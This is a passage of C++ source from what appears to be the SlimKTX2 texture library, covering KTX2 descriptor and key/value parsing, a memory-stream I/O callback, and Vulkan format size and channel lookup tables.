return m_callbacks.tell(m_callbacks.userData, _file);
}
bool SlimKTX2::seek(IOHandle _file, size_t _offset)
{
return m_callbacks.seek(m_callbacks.userData, _file, _offset);
}
void SlimKTX2::log(const char* _pFormat, ...)
{
if (m_callbacks.log != nullptr)
{
va_list args;
va_start(args, _pFormat);
m_callbacks.log(m_callbacks.userData, _pFormat, args);
va_end(args);
}
}
uint32_t SlimKTX2::getKtxLevel(uint32_t _level) const
{
return getLevelCount() - _level - 1u;
}
void SlimKTX2::destroyDFD()
{
auto* pBlock = m_dfd.pBlocks;
while (pBlock != nullptr)
{
auto* pNext = pBlock->pNext;
pBlock->pNext = nullptr;
if (pBlock->pSamples != nullptr)
{
free(pBlock->pSamples);
pBlock->pSamples = nullptr;
}
free(pBlock);
pBlock = pNext;
};
m_dfd.pBlocks = nullptr;
}
bool SlimKTX2::readDFD(IOHandle _file)
{
if (read(_file, &m_dfd.totalSize) == false)
{
return false;
}
destroyDFD();
uint32_t remainingSize = m_dfd.totalSize;
auto* pBlock = m_dfd.pBlocks;
// we still have data to read
while (remainingSize >= DataFormatDesc::blockHeaderSize)
{
auto* pNew = allocateArray<DataFormatDesc::Block>();
if (pBlock != nullptr)
{
pBlock->pNext = pNew;
}
else
{
m_dfd.pBlocks = pNew;
}
if (read(_file, &pNew->header) == false)
{
destroyDFD();
return false;
}
const uint32_t numSamples = pNew->getSampleCount();
const size_t sampleSize = numSamples * sizeof(DataFormatDesc::Sample);
remainingSize -= sizeof(DataFormatDesc::BlockHeader);
if (numSamples > 0 && remainingSize >= sampleSize)
{
pNew->pSamples = allocateArray<DataFormatDesc::Sample>(numSamples);
if (read(_file, pNew->pSamples, numSamples) == false)
{
destroyDFD();
return false;
}
remainingSize -= static_cast<uint32_t>(sampleSize);
}
pBlock = pNew;
}
return true;
}
void SlimKTX2::writeDFD(IOHandle _file) const
{
write(_file, &m_dfd.totalSize);
auto* pBlock = m_dfd.pBlocks;
while (pBlock != nullptr)
{
write(_file, &pBlock->header);
if (pBlock->pSamples != nullptr)
{
const uint32_t numSamples = pBlock->getSampleCount();
write(_file, pBlock->pSamples, numSamples);
}
pBlock = pBlock->pNext;
};
}
void SlimKTX2::destroyKVD()
{
auto* pEntry = m_kvd.pKeyValues;
while (pEntry != nullptr)
{
auto* pNext = pEntry->pNext;
pEntry->pNext = nullptr;
if (pEntry->pKeyValue != nullptr)
{
free(pEntry->pKeyValue);
pEntry->pKeyValue = nullptr;
}
free(pEntry);
pEntry = pNext;
};
m_kvd.pKeyValues = nullptr;
}
bool SlimKTX2::readKVD(IOHandle _file)
{
destroyKVD();
uint32_t remainingSize = m_sections.kvdByteLength;
auto* pEntry = m_kvd.pKeyValues;
while (remainingSize >= sizeof(uint32_t) + 2u) // minimum entry size
{
auto* pNew = allocateArray<KeyValueData::Entry>();
if (pEntry != nullptr)
{
pEntry->pNext = pNew;
}
else
{
m_kvd.pKeyValues = pNew;
}
if (read(_file, &pNew->keyAndValueByteLength) == false)
{
return false;
}
remainingSize -= sizeof(uint32_t);
remainingSize -= pNew->keyAndValueByteLength;
pNew->pKeyValue = allocateArray<uint8_t>(pNew->keyAndValueByteLength);
if (read(_file, pNew->pKeyValue, pNew->keyAndValueByteLength) == false)
{
return false;
}
const uint32_t padding = getPadding(pNew->keyAndValueByteLength, 4u);
if (padding != 0u)
{
auto pos = tell(_file);
seek(_file, pos + padding);
remainingSize -= padding;
}
}
return remainingSize == 0u;
}
void SlimKTX2::writeKVD(IOHandle _file) const
{
auto* pEntry = m_kvd.pKeyValues;
while (pEntry != nullptr)
{
write(_file, &pEntry->keyAndValueByteLength);
if (pEntry->pKeyValue != nullptr && pEntry->keyAndValueByteLength > 0u)
{
write(_file, pEntry->pKeyValue, pEntry->keyAndValueByteLength);
const uint32_t padding = getPadding(pEntry->keyAndValueByteLength, 4u);
writePadding(_file, padding);
}
pEntry = pEntry->pNext;
};
}
void SlimKTX2::destroySGD()
{
if (m_basisLZ.pImageDescs != nullptr)
{
free(m_basisLZ.pImageDescs);
m_basisLZ.pImageDescs = nullptr;
}
if (m_basisLZ.pEndpoints != nullptr)
{
free(m_basisLZ.pEndpoints);
m_basisLZ.pEndpoints = nullptr;
}
if (m_basisLZ.pSelectors != nullptr)
{
free(m_basisLZ.pSelectors);
m_basisLZ.pSelectors = nullptr;
}
if (m_basisLZ.pTables != nullptr)
{
free(m_basisLZ.pTables);
m_basisLZ.pTables = nullptr;
}
if (m_basisLZ.pExtendedData != nullptr)
{
free(m_basisLZ.pExtendedData);
m_basisLZ.pExtendedData = nullptr;
}
}
Result SlimKTX2::readSGD(IOHandle _file)
{
// only basis lz for now
if (read(_file, &m_basisLZ.header) == false)
{
return Result::IOReadFail;
}
const uint32_t imageCount = getImageCount();
m_basisLZ.pImageDescs = allocateArray<BasisLZ::ImageDesc>(imageCount);
if (m_basisLZ.pImageDescs == nullptr)
{
return Result::SupercompressionGlobalDataNotAllocated;
}
if (read(_file, m_basisLZ.pImageDescs, imageCount) == false)
{
return Result::IOReadFail;
}
m_basisLZ.pEndpoints = allocateArray<uint8_t>(m_basisLZ.header.endpointsByteLength);
if (m_basisLZ.pEndpoints == nullptr)
{
return Result::SupercompressionGlobalDataNotAllocated;
}
if (read(_file, m_basisLZ.pEndpoints, m_basisLZ.header.endpointsByteLength) == false)
{
return Result::IOReadFail;
}
m_basisLZ.pSelectors = allocateArray<uint8_t>(m_basisLZ.header.selectorsByteLength);
if (m_basisLZ.pSelectors == nullptr)
{
return Result::SupercompressionGlobalDataNotAllocated;
}
if (read(_file, m_basisLZ.pSelectors, m_basisLZ.header.selectorsByteLength) == false)
{
return Result::IOReadFail;
}
m_basisLZ.pTables = allocateArray<uint8_t>(m_basisLZ.header.tablesByteLength);
if (m_basisLZ.pTables == nullptr)
{
return Result::SupercompressionGlobalDataNotAllocated;
}
if (read(_file, m_basisLZ.pTables, m_basisLZ.header.tablesByteLength) == false)
{
return Result::IOReadFail;
}
m_basisLZ.pExtendedData = allocateArray<uint8_t>(m_basisLZ.header.extendedByteLength);
if (m_basisLZ.pExtendedData == nullptr)
{
return Result::SupercompressionGlobalDataNotAllocated;
}
if (read(_file, m_basisLZ.pExtendedData, m_basisLZ.header.extendedByteLength) == false)
{
return Result::IOReadFail;
}
return Result::Success;
}
void SlimKTX2::writeSGD(IOHandle _file) const
{
// only basis lz for now
write(_file, &m_basisLZ.header);
const uint32_t imageCount = getImageCount();
write(_file, m_basisLZ.pImageDescs, imageCount);
write(_file, m_basisLZ.pEndpoints, m_basisLZ.header.endpointsByteLength);
write(_file, m_basisLZ.pSelectors, m_basisLZ.header.selectorsByteLength);
write(_file, m_basisLZ.pTables, m_basisLZ.header.tablesByteLength);
write(_file, m_basisLZ.pExtendedData, m_basisLZ.header.extendedByteLength);
}
void SlimKTX2::destoryMipLevelArray()
{
if (m_pMipLevelArray != nullptr)
{
for (uint32_t i = 0u; i < getLevelCount(); ++i)
{
free(m_pMipLevelArray[i]);
}
free(m_pMipLevelArray);
m_pMipLevelArray = nullptr;
}
}
<file_sep>/source/DefaultMemoryStreamCallback.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "DefaultMemoryStreamCallback.h"
#include <cstring>
using namespace ux3d::slimktx2;
Callbacks DefaultMemoryStreamCallback::getCallback() const
{
Callbacks callback{};
callback.read = read;
callback.write = write;
callback.seek = seek;
callback.tell = tell;
return callback;
}
DefaultMemoryStreamCallback::operator Callbacks() const
{
return getCallback();
}
size_t DefaultMemoryStreamCallback::read(void* _pUserData, IOHandle _iohandle, void* _pData, size_t _size)
{
DefaultMemoryStream* stream = static_cast<DefaultMemoryStream*>(_iohandle);
const size_t size = stream->getSize();
size_t offset = stream->getOffset();
if (offset + _size >= size)
{
_size -= (offset + _size) - size;
}
const uint8_t* pData = stream->getDataConst() + offset;
memcpy(_pData, pData, _size);
offset += _size;
stream->setOffset(offset);
return _size;
}
void DefaultMemoryStreamCallback::write(void* _pUserData, IOHandle _iohandle, const void* _pData, size_t _size)
{
DefaultMemoryStream* stream = static_cast<DefaultMemoryStream*>(_iohandle);
const size_t size = stream->getSize();
size_t offset = stream->getOffset();
if (offset + _size >= size)
{
_size -= (offset + _size) - size;
}
if (_size != 0u)
{
uint8_t* pData = stream->getData() + offset;
memcpy(pData, _pData, _size);
}
}
size_t DefaultMemoryStreamCallback::tell(void* _pUserData, IOHandle _iohandle)
{
return static_cast<const DefaultMemoryStream*>(_iohandle)->getOffset();
}
bool DefaultMemoryStreamCallback::seek(void* _pUserData, IOHandle _iohandle, size_t _offset)
{
DefaultMemoryStream* stream = static_cast<DefaultMemoryStream*>(_iohandle);
size_t size = stream->getSize();
if (_offset >= size)
{
return false;
}
stream->setOffset(_offset);
return true;
}
<file_sep>/source/format.cpp
// Copyright (c) 2019 UX3D GmbH. All rights reserved.
#include "format.h"
#include <cmath>
uint32_t ux3d::slimktx2::getTypeSize(ux3d::slimktx2::Format _vkFormat)
{
if ((_vkFormat == Format::UNDEFINED) || (_vkFormat == Format::R4G4_UNORM_PACK8) ||
(_vkFormat >= Format::R8_UNORM && _vkFormat <= Format::B8G8R8A8_SRGB))
{
return 1u;
}
else if ((_vkFormat >= Format::R16_UNORM && _vkFormat <= Format::R16G16B16A16_SFLOAT) ||
(_vkFormat >= Format::R4G4B4A4_UNORM_PACK16 && _vkFormat <= Format::A1R5G5B5_UNORM_PACK16))
{
return 2u;
}
else if ((_vkFormat >= Format::R32_UINT && _vkFormat <= Format::R32G32B32A32_SFLOAT) ||
(_vkFormat >= Format::A2R10G10B10_UNORM_PACK32 && _vkFormat <= Format::B10G11R11_UFLOAT_PACK32))
{
return 4u;
}
else if (_vkFormat >= Format::R64_UINT && _vkFormat <= Format::R64G64B64A64_SFLOAT)
{
return 8u;
}
else if (_vkFormat >= Format::BC1_RGB_UNORM_BLOCK && _vkFormat <= Format::PVRTC2_4BPP_SRGB_BLOCK_IMG)
{
return 1u; // "For formats whose Vulkan names have the suffix _BLOCK it must equal 1"
}
// TODO: Implement depth/stencil formats
return 0u; // invalid
}
uint32_t ux3d::slimktx2::getFormatSize(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
// 1 BYTE
case Format::R4G4_UNORM_PACK8:
case Format::R8_UNORM:
case Format::R8_SNORM:
case Format::R8_UINT:
case Format::R8_SINT:
case Format::R8_SRGB:
return 1u;
// 2 BYTE
case Format::R4G4B4A4_UNORM_PACK16:
case Format::B4G4R4A4_UNORM_PACK16:
case Format::R5G6B5_UNORM_PACK16:
case Format::B5G6R5_UNORM_PACK16:
case Format::R5G5B5A1_UNORM_PACK16:
case Format::B5G5R5A1_UNORM_PACK16:
case Format::A1R5G5B5_UNORM_PACK16:
case Format::R8G8_UNORM:
case Format::R8G8_SNORM:
case Format::R8G8_UINT:
case Format::R8G8_SINT:
case Format::R8G8_SRGB:
case Format::R16_UNORM:
case Format::R16_SNORM:
case Format::R16_UINT:
case Format::R16_SINT:
case Format::R16_SFLOAT:
return 2u;
// 3 BYTE
case Format::R8G8B8_UNORM:
case Format::R8G8B8_SNORM:
case Format::R8G8B8_UINT:
case Format::R8G8B8_SINT:
case Format::R8G8B8_SRGB:
case Format::B8G8R8_UNORM:
case Format::B8G8R8_SNORM:
case Format::B8G8R8_UINT:
case Format::B8G8R8_SINT:
case Format::B8G8R8_SRGB:
return 3u;
// 4 BYTE
case Format::A2R10G10B10_UNORM_PACK32:
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2R10G10B10_UINT_PACK32:
case Format::A2R10G10B10_SINT_PACK32:
case Format::A2B10G10R10_UNORM_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::A2B10G10R10_UINT_PACK32:
case Format::A2B10G10R10_SINT_PACK32:
case Format::B10G11R11_UFLOAT_PACK32:
case Format::R8G8B8A8_UNORM:
case Format::R8G8B8A8_SNORM:
case Format::R8G8B8A8_UINT:
case Format::R8G8B8A8_SINT:
case Format::R8G8B8A8_SRGB:
case Format::B8G8R8A8_UNORM:
case Format::B8G8R8A8_SNORM:
case Format::B8G8R8A8_UINT:
case Format::B8G8R8A8_SINT:
case Format::B8G8R8A8_SRGB:
case Format::R16G16_UNORM:
case Format::R16G16_SNORM:
case Format::R16G16_UINT:
case Format::R16G16_SINT:
case Format::R16G16_SFLOAT:
case Format::R32_UINT:
case Format::R32_SINT:
case Format::R32_SFLOAT:
return 4u;
// 6 BYTE
case Format::R16G16B16_UNORM:
case Format::R16G16B16_SNORM:
case Format::R16G16B16_UINT:
case Format::R16G16B16_SINT:
case Format::R16G16B16_SFLOAT:
return 6u;
// 8 BYTE
case Format::R16G16B16A16_UNORM:
case Format::R16G16B16A16_SNORM:
case Format::R16G16B16A16_UINT:
case Format::R16G16B16A16_SINT:
case Format::R16G16B16A16_SFLOAT:
case Format::R32G32_UINT:
case Format::R32G32_SINT:
case Format::R32G32_SFLOAT:
case Format::R64_UINT:
case Format::R64_SINT:
case Format::R64_SFLOAT:
return 8u;
// 12 BYTE
case Format::R32G32B32_UINT:
case Format::R32G32B32_SINT:
case Format::R32G32B32_SFLOAT:
return 12u;
// 16 BYTE
case Format::R32G32B32A32_UINT:
case Format::R32G32B32A32_SINT:
case Format::R32G32B32A32_SFLOAT:
case Format::R64G64_UINT:
case Format::R64G64_SINT:
case Format::R64G64_SFLOAT:
return 16u;
// 24 BYTE
case Format::R64G64B64_UINT:
case Format::R64G64B64_SINT:
case Format::R64G64B64_SFLOAT:
return 24u;
// 32 BYTE
case Format::R64G64B64A64_UINT:
case Format::R64G64B64A64_SINT:
case Format::R64G64B64A64_SFLOAT:
return 32u;
// 64-bit
case Format::BC1_RGB_UNORM_BLOCK:
case Format::BC1_RGB_SRGB_BLOCK:
case Format::BC1_RGBA_UNORM_BLOCK:
case Format::BC1_RGBA_SRGB_BLOCK:
case Format::BC4_UNORM_BLOCK:
case Format::BC4_SNORM_BLOCK:
case Format::ETC2_R8G8B8_UNORM_BLOCK:
case Format::ETC2_R8G8B8_SRGB_BLOCK:
case Format::ETC2_R8G8B8A1_UNORM_BLOCK:
case Format::ETC2_R8G8B8A1_SRGB_BLOCK:
case Format::EAC_R11_UNORM_BLOCK:
case Format::EAC_R11_SNORM_BLOCK:
case Format::PVRTC1_2BPP_UNORM_BLOCK_IMG:
case Format::PVRTC1_4BPP_UNORM_BLOCK_IMG:
case Format::PVRTC2_2BPP_UNORM_BLOCK_IMG:
case Format::PVRTC2_4BPP_UNORM_BLOCK_IMG:
case Format::PVRTC1_2BPP_SRGB_BLOCK_IMG:
case Format::PVRTC1_4BPP_SRGB_BLOCK_IMG:
case Format::PVRTC2_2BPP_SRGB_BLOCK_IMG:
case Format::PVRTC2_4BPP_SRGB_BLOCK_IMG:
return 8u;
// 128-bit
case Format::BC2_UNORM_BLOCK:
case Format::BC2_SRGB_BLOCK:
case Format::BC3_UNORM_BLOCK:
case Format::BC3_SRGB_BLOCK:
case Format::BC5_UNORM_BLOCK:
case Format::BC5_SNORM_BLOCK:
case Format::BC6H_UFLOAT_BLOCK:
case Format::BC6H_SFLOAT_BLOCK:
case Format::BC7_UNORM_BLOCK:
case Format::BC7_SRGB_BLOCK:
case Format::ETC2_R8G8B8A8_UNORM_BLOCK:
case Format::ETC2_R8G8B8A8_SRGB_BLOCK:
case Format::EAC_R11G11_UNORM_BLOCK:
case Format::EAC_R11G11_SNORM_BLOCK:
case Format::ASTC_4x4_UNORM_BLOCK:
case Format::ASTC_4x4_SRGB_BLOCK:
return 16u;
default:
return 0u; // invalid
}
}
bool ux3d::slimktx2::getBlockSize(Format _vkFormat, uint32_t& _outWdith, uint32_t& _outHeight)
{
_outWdith = _outHeight = 1u;
switch (_vkFormat)
{
case Format::BC1_RGB_SRGB_BLOCK:
case Format::BC1_RGB_UNORM_BLOCK:
case Format::BC1_RGBA_SRGB_BLOCK:
case Format::BC1_RGBA_UNORM_BLOCK:
case Format::BC2_UNORM_BLOCK:
case Format::BC2_SRGB_BLOCK:
case Format::BC3_SRGB_BLOCK:
case Format::BC3_UNORM_BLOCK:
case Format::BC4_UNORM_BLOCK:
case Format::BC4_SNORM_BLOCK:
case Format::BC5_UNORM_BLOCK:
case Format::BC5_SNORM_BLOCK:
case Format::BC6H_UFLOAT_BLOCK:
case Format::BC6H_SFLOAT_BLOCK:
case Format::BC7_SRGB_BLOCK:
case Format::BC7_UNORM_BLOCK:
case Format::ETC2_R8G8B8_SRGB_BLOCK:
case Format::ETC2_R8G8B8_UNORM_BLOCK:
case Format::ETC2_R8G8B8A8_SRGB_BLOCK:
case Format::ETC2_R8G8B8A8_UNORM_BLOCK:
case Format::ETC2_R8G8B8A1_SRGB_BLOCK:
case Format::ETC2_R8G8B8A1_UNORM_BLOCK:
case Format::EAC_R11_UNORM_BLOCK:
case Format::EAC_R11_SNORM_BLOCK:
case Format::EAC_R11G11_UNORM_BLOCK:
case Format::EAC_R11G11_SNORM_BLOCK:
case Format::ASTC_4x4_SRGB_BLOCK:
case Format::ASTC_4x4_UNORM_BLOCK:
case Format::PVRTC1_4BPP_SRGB_BLOCK_IMG:
case Format::PVRTC1_4BPP_UNORM_BLOCK_IMG:
case Format::PVRTC2_4BPP_SRGB_BLOCK_IMG:
case Format::PVRTC2_4BPP_UNORM_BLOCK_IMG:
_outWdith = 4u;
_outHeight = 4u;
break;
case Format::PVRTC1_2BPP_SRGB_BLOCK_IMG:
case Format::PVRTC1_2BPP_UNORM_BLOCK_IMG:
case Format::PVRTC2_2BPP_SRGB_BLOCK_IMG:
case Format::PVRTC2_2BPP_UNORM_BLOCK_IMG:
_outWdith = 8u;
_outHeight = 4u;
break;
default:
return false; // not block compressed
}
return true;
}
uint32_t ux3d::slimktx2::getChannelCount(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
case Format::R8_UNORM:
case Format::R8_SNORM:
case Format::R8_UINT:
case Format::R8_SINT:
case Format::R8_SRGB:
case Format::R16_UNORM:
case Format::R16_SNORM:
case Format::R16_UINT:
case Format::R16_SINT:
case Format::R16_SFLOAT:
case Format::R32_UINT:
case Format::R32_SINT:
case Format::R32_SFLOAT:
case Format::R64_UINT:
case Format::R64_SINT:
case Format::R64_SFLOAT:
case Format::BC4_UNORM_BLOCK:
case Format::BC4_SNORM_BLOCK:
case Format::EAC_R11_UNORM_BLOCK:
case Format::EAC_R11_SNORM_BLOCK:
return 1u;
case Format::R4G4_UNORM_PACK8:
case Format::R8G8_UNORM:
case Format::R8G8_SNORM:
case Format::R8G8_UINT:
case Format::R8G8_SINT:
case Format::R8G8_SRGB:
case Format::R16G16_UNORM:
case Format::R16G16_SNORM:
case Format::R16G16_UINT:
case Format::R16G16_SINT:
case Format::R16G16_SFLOAT:
case Format::R32G32_UINT:
case Format::R32G32_SINT:
case Format::R32G32_SFLOAT:
case Format::R64G64_UINT:
case Format::R64G64_SINT:
case Format::R64G64_SFLOAT:
case Format::BC5_UNORM_BLOCK:
case Format::BC5_SNORM_BLOCK:
case Format::EAC_R11G11_UNORM_BLOCK:
case Format::EAC_R11G11_SNORM_BLOCK:
return 2u;
case Format::R5G6B5_UNORM_PACK16:
case Format::B5G6R5_UNORM_PACK16:
case Format::B10G11R11_UFLOAT_PACK32:
case Format::R8G8B8_UNORM:
case Format::R8G8B8_SNORM:
case Format::R8G8B8_UINT:
case Format::R8G8B8_SINT:
case Format::R8G8B8_SRGB:
case Format::B8G8R8_UNORM:
case Format::B8G8R8_SNORM:
case Format::B8G8R8_UINT:
case Format::B8G8R8_SINT:
case Format::B8G8R8_SRGB:
case Format::R16G16B16_UNORM:
case Format::R16G16B16_SNORM:
case Format::R16G16B16_UINT:
case Format::R16G16B16_SINT:
case Format::R16G16B16_SFLOAT:
case Format::R32G32B32_UINT:
case Format::R32G32B32_SINT:
case Format::R32G32B32_SFLOAT:
case Format::R64G64B64_UINT:
case Format::R64G64B64_SINT:
case Format::R64G64B64_SFLOAT:
case Format::BC1_RGB_UNORM_BLOCK:
case Format::BC1_RGB_SRGB_BLOCK:
case Format::BC6H_UFLOAT_BLOCK:
case Format::BC6H_SFLOAT_BLOCK:
case Format::ETC2_R8G8B8_UNORM_BLOCK:
case Format::ETC2_R8G8B8_SRGB_BLOCK:
return 3u;
case Format::R4G4B4A4_UNORM_PACK16:
case Format::B4G4R4A4_UNORM_PACK16:
case Format::R5G5B5A1_UNORM_PACK16:
case Format::B5G5R5A1_UNORM_PACK16:
case Format::A1R5G5B5_UNORM_PACK16:
case Format::A2R10G10B10_UNORM_PACK32:
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2R10G10B10_UINT_PACK32:
case Format::A2R10G10B10_SINT_PACK32:
case Format::A2B10G10R10_UNORM_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::A2B10G10R10_UINT_PACK32:
case Format::A2B10G10R10_SINT_PACK32:
case Format::R8G8B8A8_UNORM:
case Format::R8G8B8A8_SNORM:
case Format::R8G8B8A8_UINT:
case Format::R8G8B8A8_SINT:
case Format::R8G8B8A8_SRGB:
case Format::B8G8R8A8_UNORM:
case Format::B8G8R8A8_SNORM:
case Format::B8G8R8A8_UINT:
case Format::B8G8R8A8_SINT:
case Format::B8G8R8A8_SRGB:
case Format::R16G16B16A16_UNORM:
case Format::R16G16B16A16_SNORM:
case Format::R16G16B16A16_UINT:
case Format::R16G16B16A16_SINT:
case Format::R16G16B16A16_SFLOAT:
case Format::R32G32B32A32_UINT:
case Format::R32G32B32A32_SINT:
case Format::R32G32B32A32_SFLOAT:
case Format::R64G64B64A64_UINT:
case Format::R64G64B64A64_SINT:
case Format::R64G64B64A64_SFLOAT:
case Format::BC1_RGBA_UNORM_BLOCK:
case Format::BC1_RGBA_SRGB_BLOCK:
case Format::BC2_UNORM_BLOCK:
case Format::BC2_SRGB_BLOCK:
case Format::BC3_UNORM_BLOCK:
case Format::BC3_SRGB_BLOCK:
case Format::BC7_UNORM_BLOCK:
case Format::BC7_SRGB_BLOCK:
case Format::ETC2_R8G8B8A1_UNORM_BLOCK:
case Format::ETC2_R8G8B8A1_SRGB_BLOCK:
case Format::ETC2_R8G8B8A8_UNORM_BLOCK:
case Format::ETC2_R8G8B8A8_SRGB_BLOCK:
case Format::ASTC_4x4_UNORM_BLOCK:
case Format::ASTC_4x4_SRGB_BLOCK:
case Format::PVRTC1_2BPP_UNORM_BLOCK_IMG:
case Format::PVRTC1_4BPP_UNORM_BLOCK_IMG:
case Format::PVRTC2_2BPP_UNORM_BLOCK_IMG:
case Format::PVRTC2_4BPP_UNORM_BLOCK_IMG:
case Format::PVRTC1_2BPP_SRGB_BLOCK_IMG:
case Format::PVRTC1_4BPP_SRGB_BLOCK_IMG:
case Format::PVRTC2_2BPP_SRGB_BLOCK_IMG:
case Format::PVRTC2_4BPP_SRGB_BLOCK_IMG:
return 4u;
default:
return 0u; // invalid
}
}
uint32_t ux3d::slimktx2::getChannelSize(ux3d::slimktx2::Format _vkFormat, uint32_t _channelIndex)
{
if (_channelIndex >= 4u)
{
return 0u;
}
switch (_vkFormat)
{
// 8 bits; does not depend on channel.
case Format::R8_UNORM:
case Format::R8_SNORM:
case Format::R8_UINT:
case Format::R8_SINT:
case Format::R8_SRGB:
case Format::R8G8_UNORM:
case Format::R8G8_SNORM:
case Format::R8G8_UINT:
case Format::R8G8_SINT:
case Format::R8G8_SRGB:
case Format::R8G8B8_UNORM:
case Format::R8G8B8_SNORM:
case Format::R8G8B8_UINT:
case Format::R8G8B8_SINT:
case Format::R8G8B8_SRGB:
case Format::B8G8R8_UNORM:
case Format::B8G8R8_SNORM:
case Format::B8G8R8_UINT:
case Format::B8G8R8_SINT:
case Format::B8G8R8_SRGB:
case Format::R8G8B8A8_UNORM:
case Format::R8G8B8A8_SNORM:
case Format::R8G8B8A8_UINT:
case Format::R8G8B8A8_SINT:
case Format::R8G8B8A8_SRGB:
case Format::B8G8R8A8_UNORM:
case Format::B8G8R8A8_SNORM:
case Format::B8G8R8A8_UINT:
case Format::B8G8R8A8_SINT:
case Format::B8G8R8A8_SRGB:
return 8u;
// 16 bits; does not depend on channel.
case Format::R16_UNORM:
case Format::R16_SNORM:
case Format::R16_UINT:
case Format::R16_SINT:
case Format::R16_SFLOAT:
case Format::R16G16_UNORM:
case Format::R16G16_SNORM:
case Format::R16G16_UINT:
case Format::R16G16_SINT:
case Format::R16G16_SFLOAT:
case Format::R16G16B16_UNORM:
case Format::R16G16B16_SNORM:
case Format::R16G16B16_UINT:
case Format::R16G16B16_SINT:
case Format::R16G16B16_SFLOAT:
case Format::R16G16B16A16_UNORM:
case Format::R16G16B16A16_SNORM:
case Format::R16G16B16A16_UINT:
case Format::R16G16B16A16_SINT:
case Format::R16G16B16A16_SFLOAT:
return 16u;
// 32 bits; does not depend on channel.
case Format::R32_UINT:
case Format::R32_SINT:
case Format::R32_SFLOAT:
case Format::R32G32_UINT:
case Format::R32G32_SINT:
case Format::R32G32_SFLOAT:
case Format::R32G32B32_UINT:
case Format::R32G32B32_SINT:
case Format::R32G32B32_SFLOAT:
case Format::R32G32B32A32_UINT:
case Format::R32G32B32A32_SINT:
case Format::R32G32B32A32_SFLOAT:
return 32u;
// 64 bits; does not depend on channel.
case Format::R64_UINT:
case Format::R64_SINT:
case Format::R64_SFLOAT:
case Format::R64G64_UINT:
case Format::R64G64_SINT:
case Format::R64G64_SFLOAT:
case Format::R64G64B64_UINT:
case Format::R64G64B64_SINT:
case Format::R64G64B64_SFLOAT:
case Format::R64G64B64A64_UINT:
case Format::R64G64B64A64_SINT:
case Format::R64G64B64A64_SFLOAT:
return 64u;
case Format::R4G4_UNORM_PACK8:
if (_channelIndex < 2)
{
return 4u;
}
else
{
return 0u;
}
case Format::R5G6B5_UNORM_PACK16:
case Format::B5G6R5_UNORM_PACK16:
if (_channelIndex < 3)
{
if (_channelIndex == 1)
{
return 6u;
}
else
{
return 5u;
}
}
else
{
return 0u;
}
case Format::B10G11R11_UFLOAT_PACK32:
if (_channelIndex < 3)
{
if (_channelIndex == 0)
{
return 10u;
}
else
{
return 11u;
}
}
else
{
return 0u;
}
case Format::R4G4B4A4_UNORM_PACK16:
case Format::B4G4R4A4_UNORM_PACK16:
return 4u;
case Format::R5G5B5A1_UNORM_PACK16:
case Format::B5G5R5A1_UNORM_PACK16:
if (_channelIndex < 3)
{
return 5u;
}
else
{
return 1u;
}
case Format::A1R5G5B5_UNORM_PACK16:
if (_channelIndex > 0)
{
return 5u;
}
else
{
return 1u;
}
case Format::A2R10G10B10_UNORM_PACK32:
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2R10G10B10_UINT_PACK32:
case Format::A2R10G10B10_SINT_PACK32:
case Format::A2B10G10R10_UNORM_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::A2B10G10R10_UINT_PACK32:
case Format::A2B10G10R10_SINT_PACK32:
if (_channelIndex > 0)
{
return 10u;
}
else
{
return 2u;
}
default:
return 0u;
}
}
int32_t ux3d::slimktx2::getChannelIndex(ux3d::slimktx2::Format _vkFormat, ux3d::slimktx2::Channel _channel)
{
switch (_vkFormat)
{
case Format::R8_UNORM:
case Format::R8_SNORM:
case Format::R8_UINT:
case Format::R8_SINT:
case Format::R8_SRGB:
case Format::R16_UNORM:
case Format::R16_SNORM:
case Format::R16_UINT:
case Format::R16_SINT:
case Format::R16_SFLOAT:
case Format::R32_UINT:
case Format::R32_SINT:
case Format::R32_SFLOAT:
case Format::R64_UINT:
case Format::R64_SINT:
case Format::R64_SFLOAT:
if (_channel <= Channel_Red)
{
return _channel;
}
else
{
return -1;
}
case Format::R4G4_UNORM_PACK8:
case Format::R8G8_UNORM:
case Format::R8G8_SNORM:
case Format::R8G8_UINT:
case Format::R8G8_SINT:
case Format::R8G8_SRGB:
case Format::R16G16_UNORM:
case Format::R16G16_SNORM:
case Format::R16G16_UINT:
case Format::R16G16_SINT:
case Format::R16G16_SFLOAT:
case Format::R32G32_UINT:
case Format::R32G32_SINT:
case Format::R32G32_SFLOAT:
case Format::R64G64_UINT:
case Format::R64G64_SINT:
case Format::R64G64_SFLOAT:
if (_channel <= Channel_Green)
{
return _channel;
}
else
{
return -1;
}
case Format::R5G6B5_UNORM_PACK16:
case Format::R8G8B8_UNORM:
case Format::R8G8B8_SNORM:
case Format::R8G8B8_UINT:
case Format::R8G8B8_SINT:
case Format::R8G8B8_SRGB:
case Format::R16G16B16_UNORM:
case Format::R16G16B16_SNORM:
case Format::R16G16B16_UINT:
case Format::R16G16B16_SINT:
case Format::R16G16B16_SFLOAT:
case Format::R32G32B32_UINT:
case Format::R32G32B32_SINT:
case Format::R32G32B32_SFLOAT:
case Format::R64G64B64_UINT:
case Format::R64G64B64_SINT:
case Format::R64G64B64_SFLOAT:
if (_channel <= Channel_Blue)
{
return _channel;
}
else
{
return -1;
}
case Format::R4G4B4A4_UNORM_PACK16:
case Format::R5G5B5A1_UNORM_PACK16:
case Format::R8G8B8A8_UNORM:
case Format::R8G8B8A8_SNORM:
case Format::R8G8B8A8_UINT:
case Format::R8G8B8A8_SINT:
case Format::R8G8B8A8_SRGB:
case Format::R16G16B16A16_UNORM:
case Format::R16G16B16A16_SNORM:
case Format::R16G16B16A16_UINT:
case Format::R16G16B16A16_SINT:
case Format::R16G16B16A16_SFLOAT:
case Format::R32G32B32A32_UINT:
case Format::R32G32B32A32_SINT:
case Format::R32G32B32A32_SFLOAT:
case Format::R64G64B64A64_UINT:
case Format::R64G64B64A64_SINT:
case Format::R64G64B64A64_SFLOAT:
return _channel;
case Format::B5G6R5_UNORM_PACK16:
case Format::B10G11R11_UFLOAT_PACK32:
case Format::B8G8R8_UNORM:
case Format::B8G8R8_SNORM:
case Format::B8G8R8_UINT:
